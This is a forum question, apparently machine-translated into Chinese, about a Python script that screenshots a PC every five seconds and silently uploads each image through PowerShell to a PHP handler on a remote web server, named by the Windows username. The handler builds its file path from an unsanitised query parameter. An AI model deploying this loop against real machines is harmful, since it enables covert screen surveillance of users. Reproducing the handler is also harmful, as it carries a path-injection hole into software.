我制作了这个python脚本,使用powershell将一个图像发送到网络服务器上的php脚本,然后发送一个图像:
客户端脚本:
import pyautogui
import subprocess
import time
import os
import getpass
directory = os.path.dirname(os.path.abspath(__file__))
whoami = cmd = subprocess.Popen("whoami", shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
user = whoami.stdout.read().decode()
user = user.split("\\")[1].replace(" ",'')
while True:
try:
place = directory + "\screenshot.png"
screenshot = pyautogui.screenshot()
screenshot.save(place)
command = r"powershell +(New-Object System.Net.WebClient).UploadFile('http://ipwebserver/screen.php?name=".replace("+", '"') + user + "', 'PUT','" + place + "') > $null+".replace('+', '"')
print(command)
cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
time.sleep(5)
except:
print("error")
continue
网络服务器上的PHP脚本:
<?php
$name = $_GET["name"];
$file = "/var/www/html/screen/" . " Screenshot " . $name;
file_put_contents($file, file_get_contents('php://input'));
?>
由于无法使用php:// input检索文件名,我决定处理该问题的最佳方法是添加一个名为?name = Thecomputername的查询参数。
现在奇怪的是,当我像这样定义变量用户时它可以工作:
user = "Username"
奇怪的是,当我像这样定义变量时有时会工作!! :
whoami = cmd = subprocess.Popen("whoami", shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
user = whoami.stdout.read().decode()
user = user.split("\\")[1].replace(" ",'')
我正在尝试接收来自多个客户端电脑的屏幕截图并将其保存到属于该电脑用户名的文件中。
我已经尝试了很多东西,无法弄清楚是什么导致了这个问题。
有人有什么建议吗?
的SideNote 我只需要一种区分多台计算机的方法,我尝试使用客户端的IP,但这也不起作用......